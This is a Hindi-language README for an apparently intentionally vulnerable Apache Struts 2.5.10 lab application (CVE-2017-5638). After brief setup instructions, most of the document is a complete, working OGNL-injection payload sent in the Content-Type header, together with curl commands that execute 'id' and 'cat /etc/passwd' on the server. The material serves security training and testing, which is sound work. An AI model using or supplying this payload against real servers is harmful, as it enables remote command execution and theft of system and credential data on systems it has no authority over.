:source-highlighter: pygments
= Apache Struts CVE-2017-5638 शोषण
यह सरल वेब एप्लिकेशन कमजोर Apache Struts 2.5.10 (CVE-2017-5638) से बनाया गया है। यह RCE के लिए संवेदनशील है।
== वेब एप्लिकेशन प्रारंभ करना
कमजोर वेब एप्लिकेशन प्रारंभ करने के लिए, निष्पादित करें:
mvn jetty:run
एप्लिकेशन डिफ़ॉल्ट रूप से पोर्ट 8012 पर सुलभ होगा। आप इसे बदल सकते हैं:
mvn -Djetty.http.port= jetty:run
== वेब एप्लिकेशन तक पहुँचना
कमजोर वेब एप्लिकेशन तक पहुँचने के लिए, अपने ब्राउज़र में निम्नलिखित लिंक खोलें: http://127.0.0.1:8012/struts-rce. यदि आपने डिफ़ॉल्ट पोर्ट बदल दिया है, तो लिंक को तदनुसार संशोधित करें।
== वेब एप्लिकेशन का शोषण
इस कमजोरी का उपयोग सर्वर साइड पर मनमाना कमांड चलाने (RCE) के लिए किया जा सकता है। पेलोड Content-Type HTTP हेडर में शामिल है।
निम्नलिखित पेलोड id कमांड को निष्पादित करेगा:
[source,http]
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
निम्नलिखित कमांड सर्वर साइड पर id कमांड निष्पादित करेगा:
[source,bash]
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action
नीचे दिया गया cat /etc/passwd निष्पादित करेगा:
[source,bash]
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action